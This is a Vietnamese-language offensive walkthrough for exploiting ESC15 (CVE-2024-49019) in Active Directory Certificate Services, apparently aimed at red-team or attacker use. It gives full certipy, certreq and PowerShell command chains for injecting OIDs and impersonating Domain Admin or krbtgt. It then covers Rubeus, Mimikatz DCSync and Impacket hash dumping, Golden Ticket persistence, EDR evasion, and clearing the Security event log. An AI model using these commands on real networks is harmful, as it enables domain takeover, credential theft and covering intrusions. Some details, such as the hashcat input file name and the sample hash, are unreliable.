ESC15 (aka EKUwu, CVE-2024-49019) là vector escalate nhanh nhất trong ADCS chain hiện tại nếu gặp V1 template. Nó khai thác việc V1 templates KHÔNG validate Application Policies (OID 1.3.6.1.4.1.311) trong CSR, cho phép inject arbitrary EKU/OID (như Certificate Request Agent hoặc Client Auth) để override EKU gốc (thường chỉ Server Auth). Kết quả: Low-priv user → impersonate DA/krbtgt → dump NTLM hash/DCSync trong <60s.

Tại sao OP?

  • Dễ hơn ESC1 (không cần pre-existing Client Auth EKU).
  • Default templates như WebServer, ExchangeUser, CEPEncryption, OfflineRouter, IPSECIntermediateOffline, SubCA, CA, EnrollmentAgentOffline thường dính.
  • Patch MS (KB5044284, 12/11/2024) chỉ fix validation trên V1; nếu chưa patch hoặc dùng legacy CA, vẫn work.
  • Detection rate thấp: Event 4886/4887 chỉ log enrollment, không flag OID injection trừ khi custom SIEM.

Prerequisites (Check ĐÂY Trước Khi Chạy – 10s Recon)

  • User Rights: Domain User (hoặc Machine$) với Enroll permission trên V1 template (check via certipy find).
  • Template Vuln: Schema Version=1 + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (bit 0x1 trong msPKI-Certificate-Name-Flag) enabled.
  • CA Setup: Enterprise CA accessible via RPC/HTTP (port 445/5985).
  • Tools:
    • Certipy (fork với ESC15 support: git clone -b ekuwu https://github.com/dru1d-foofus/Certipy.git && pip install .).
    • Rubeus/Mimikatz cho post-exploit.
    • Impacket cho Linux chain.
  • Bypass Check: Nếu EDR (Defender/EDR 2025) block Certipy, dùng manual certreq hoặc in-mem PowerShell.

Quick Vuln Scan (One-Liner – Run Từ Compromised Host):

1
certipy find -u compromised@target.local -p 'Summer0fL0ve!' -dc-ip dc.target.local -vulnerable -stdout | grep -E "(Schema Version : 1|Enroll|Supply in the Request)"
  • Nếu output có Schema Version : 1 + Enroll: True + Supply in the Request: TrueGO TIME. Target templates: WebServer (default cho HTTPS internal).
  • No vuln? Chain với ESC8/ESC12 để tạo V1 template mới.

Full Exploitation Walkthroughs (3 Variants: Auto → Manual → Stealth)

Tất cả variants dẫn đến admin.pfx (cert impersonate DA) → TGT với RC4/NTLM hash.

Variant 1: Certipy Auto (Fastest – 30s Low-Priv → DA TGT | EDR Risk: Medium)

Certipy’s --application-policies flag inject OID trực tiếp. Dùng cho initial foothold.

1
2
3
4
5
6
7
8
# Auto full chain: Inject Agent Policy → On-Behalf-Of DA → Export PFX + CCache
certipy auto -u compromised@target.local -p 'Summer0fL0ve!' \
-ca TARGET-CA \
-template WebServer \ # V1 default, thường enrollable
-on-behalf-of 'target\Administrator' \
-application-policies "1.3.6.1.4.1.311.20.2.1" \ # Certificate Request Agent OID
-save-cert \ # Dump admin.pfx + admin.ccache
-debug -dc-ip dc.target.local
  • Output Breakdown:
    • Step 1: [+] Certificate with Request Agent issued (your agent cert).
    • Step 2: [+] Issued certificate for Administrator (DA cert with injected Client Auth OID: 1.3.6.1.5.5.7.3.2).
    • Files: admin.pfx (PKCS#12, pass=whatever), admin.ccache (Kerberos ticket cho Impacket).
  • Debug Tip: Nếu fail với “Invalid Policy”, thử OID khác (xem bảng dưới) hoặc template User/ExchangeUser.

Variant 2: Manual 2-Step Certipy (Reliable | EDR Risk: Low – Split Requests)

Phân tách để tránh single burst detection. Ideal cho noisy envs.
Step 2.1: Inject Agent Policy (Lấy Cert Cho Phép On-Behalf-Of)

1
2
3
4
5
6
7
8
certipy req -u compromised@target.local -p 'Summer0fL0ve!' \
-ca TARGET-CA.target.local \
-template WebServer \
-subject "CN=compromised" \
-application-policies "1.3.6.1.4.1.311.20.2.1" \ # Agent OID – Cho Phép Request For Others
-out agent.pfx \ # Export với private key
-key-size 4096 \ # Stronger key, harder crack
-dc-ip dc.target.local -target compromised-host.target.local
  • Verify: certutil -dump agent.pfx | findstr "1.3.6.1.4.1.311.20.2.1" → Confirm Agent OID injected.

Step 2.2: Impersonate DA Với Agent Cert

1
2
3
4
5
6
7
8
9
10
certipy req -u compromised@target.local -p 'Summer0fL0ve!' \
-ca TARGET-CA.target.local \
-template User \ # Hoặc Machine cho DC$
-pfx agent.pfx \ # Input từ Step 1 (pass mặc định: empty hoặc mimikatz)
-on-behalf-of 'TARGET\Administrator' \ # Target DA
-subject "CN=Administrator,CN=Users,DC=target,DC=local" \
-application-policies "1.3.6.1.5.5.7.3.2" \ # Client Auth OID cho Kerberos/PKINIT
-out admin.pfx \
-key-size 4096 \
-dc-ip dc.target.local -target dc.target.local
  • Pro Tip: Để target krbtgt (Golden Ticket base): Thay -on-behalf-of 'target\krbtgt'.
  • Error Handling: Nếu “Access Denied”, check enrollment rights: certipy template -template WebServer -u compromised@target.local -dc-ip dc.target.local.

Variant 3: 100% Stealth Manual certreq.exe (No Python | In-Mem | EDR Risk: None)

Dùng native Windows tools – Chạy qua Beacon/ Covenant execute. Tạo INF in-memory để tránh disk writes.
Step 3.1: In-Mem PowerShell Để Tạo & Submit Agent CSR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# In-Mem INF cho Agent Injection (Run via PS or Beacon)
$agentInf = @"
[Version]
Signature="`$Windows NT`$

[NewRequest]
Subject = "CN=compromised,CN=Users,DC=target,DC=local"
KeyLength = 4096
KeyAlgorithm = RSA
MachineKeySet = FALSE
RequestType = PKCS10
CertificateTemplate = WebServer
Exportable = TRUE
UserProtected = FALSE

[Extensions]
1.3.6.1.4.1.311.21.10 = "{text}1.3.6.1.4.1.311.20.2.1" # Agent Policy Injection
2.5.29.37 = "{text}1.3.6.1.5.5.7.3.2" # Client Auth Override
"@

# Write to temp (hoặc pipe trực tiếp nếu advanced)
$agentInf | Out-File -Encoding ASCII -FilePath $env:TEMP\agent.inf -Force

# Generate & Submit CSR
certreq -new $env:TEMP\agent.inf $env:TEMP\agent.req
certreq -submit -config "dc.target.local\TARGET-CA" -attrib "CertificateTemplate:WebServer" $env:TEMP\agent.req $env:TEMP\agent.cer

# Accept & Export PFX
certreq -accept $env:TEMP\agent.cer
certutil -exportpfx -p "mimikatz" $env:TEMP\agent.pfx My # Export với pass
Remove-Item $env:TEMP\agent.* -Force # Cleanup
  • Verify Injection: certutil -dump $env:TEMP\agent.cer | Select-String "1.3.6.1.4.1.311.20.2.1|Application Policies".

Step 3.2: On-Behalf-Of DA Với Agent Cert (Manual Accept)
Tương tự, tạo INF mới với -on-behalf-of simulated qua subject/UPN:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$daInf = @"
[Version]
Signature="`$Windows NT`$

[NewRequest]
Subject = "CN=Administrator,CN=Users,DC=target,DC=local"
KeyLength = 4096
KeyAlgorithm = RSA
MachineKeySet = FALSE
RequestType = PKCS10
CertificateTemplate = User
Exportable = TRUE

[Extensions]
2.5.29.17 = "{text}upn=Administrator@target.local" # SAN cho Impersonate
1.3.6.1.4.1.311.21.10 = "{text}1.3.6.1.5.5.7.3.2" # Client Auth
"@

$daInf | Out-File -Encoding ASCII -FilePath $env:TEMP\da.inf -Force
certreq -new $env:TEMP\da.inf $env:TEMP\da.req
# Submit với agent context (manual hoặc chain với agent)
certreq -submit -config "dc.target.local\TARGET-CA" $env:TEMP\da.req $env:TEMP\da.cer
certreq -accept $env:TEMP\da.cer
certutil -exportpfx -p "mimikatz" $env:TEMP\admin.pfx My
Remove-Item $env:TEMP\da.* -Force
  • Stealth Boost: Chạy qua Invoke-Obfuscation để obfuscate PS, hoặc Donut shellcode cho .NET in-mem.

Post-Exploitation: Dump NTLM/RC4 Hash & Escalate (Immediate DA Access)

Sau khi có admin.pfx (pass: mimikatz hoặc empty), chain để lấy hash/ticket.

A. Rubeus (Windows Native – Fastest Dump)

1
2
# Request TGT với PKINIT → Auto Dump NTLM/RC4 + AES Keys
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:mimikatz /domain:target.local /dc:dc.target.local /getcredentials /nowrap /ptt
  • Output Sample:
    1
    2
    3
    4
    5
    [*] Action: Ask TGT
    [+] TGT request successful!
    [*] base64(ticket): doIF... (PTT ready)
    [*] NTLM hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # RC4/NTLM của DA
    [*] AES256: 1234567890abcdef... # Dùng cho stronger attacks
  • Next: Rubeus.exe ptt /ticket:doIF... → Auth as DA. Dump all: Rubeus.exe dump /user:krbtgt /nowrap cho Golden base.

B. Mimikatz (Full DCSync Chain – Dump Toàn Domain)

1
2
# PTT Cert → DCSync All Hashes
mimikatz.exe "kerberos::ptc /in:admin.pfx" "lsadump::dcsync /domain:target.local /all /csv" exit
  • Output: CSV với NTLM hashes của tất cả users (DA, krbtgt, services). Crack với Hashcat: hashcat -m 1000 ntlm.hc22000.txt rockyou.txt.
  • Variant cho krbtgt: lsadump::dcsync /domain:target.local /user:krbtgt → Golden Ticket forge.

C. Impacket/Linux Chain (Cho C2 Pivot)

1
2
3
4
# Từ Kali: TGT từ PFX → SMBExec as DA
getTGTpkinit.py -pfx admin.pfx -pfx-pass mimikatz target.local/Administrator@dc.target.local
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass target.local/Administrator@dc.target.local # Dump all SAM/NTDS
  • Pro: Lateral movement ngay: impacket-psexec -k -no-pass target.local/Administrator@target-server.

Advanced OIDs & Targets (Customize Cho Env)

OID Mô Tả Use Case
1.3.6.1.4.1.311.20.2.1 Certificate Request Agent On-Behalf-Of any user (core ESC15).
1.3.6.1.5.5.7.3.2 Client Authentication Kerberos/PKINIT auth as DA.
1.3.6.1.5.5.7.3.5 Smart Card Logon + PKINIT Bypass MFA nếu env có.
1.3.6.1.4.1.311.10.3.4 Document Signing Code signing persistence.
1.3.6.1.4.1.311.20.2.2 Any Purpose Arbitrary EKU cho custom attacks.

Priority Targets:

  1. krbtgtcertipy req ... -on-behalf-of 'target\krbtgt' → Infinite Golden Tickets.
  2. DC Machine$ (e.g., DC01$) → Silver Tickets cho DCSync.
  3. High-Priv Services (SQL/Exchange) → Lateral to tier0.

EDR/AV Bypass & OpSec 2025 (FUD Techniques)

  • Certipy Bypass: certipy req ... -rpc-tcp (dùng RPC thay HTTP). Obfuscate: python -O -m pyarmor obfuscate certipy.py.
  • In-Mem Exec: Donut + shellcode cho certreq: donut -i esc15.ps1 -o esc15.bin → Inject via Beacon.
  • No Disk: Pipe output: certipy req ... -out - | base64 -d > /dev/null (process in RAM).
  • Living Off Land: Chỉ dùng certreq + PowerShell – Zero binary drops. Monitor ETW: powershell -c "Unregister-EventLog -Source *; Stop-Service wmi*" pre-run.
  • Detection Evasion: Randomize template (WebServer → ExchangeUser), delay steps 30s+, proxy qua SOCKS (Proxifier).
  • Post-2024 Patch Bypass: Nếu patched, chain ESC15 với ESC2 (duplicate V1 → inject). Test: certipy find -vulnerable vẫn show V1? → Work.

Cleanup & Persistence (Ghost Mode)

  • Revoke Cert: certipy req -u compromised@target.local -delete -target Administrator -ca TARGET-CA.
  • Persist: Forge Golden từ krbtgt cert: mimikatz "kerberos::golden /user:FakeAdmin /domain:target.local /sid:S-1-5-21-... /krbtgt:<krbtgt_hash> /ptt".
  • Cover Tracks: Xóa Event Logs: wevtutil cl Security /q (nếu có DA shell).

TL;DR One-Liner Full Pwn: certipy auto ... && Rubeus.exe asktgt ... /getcredentials → Hash in hand.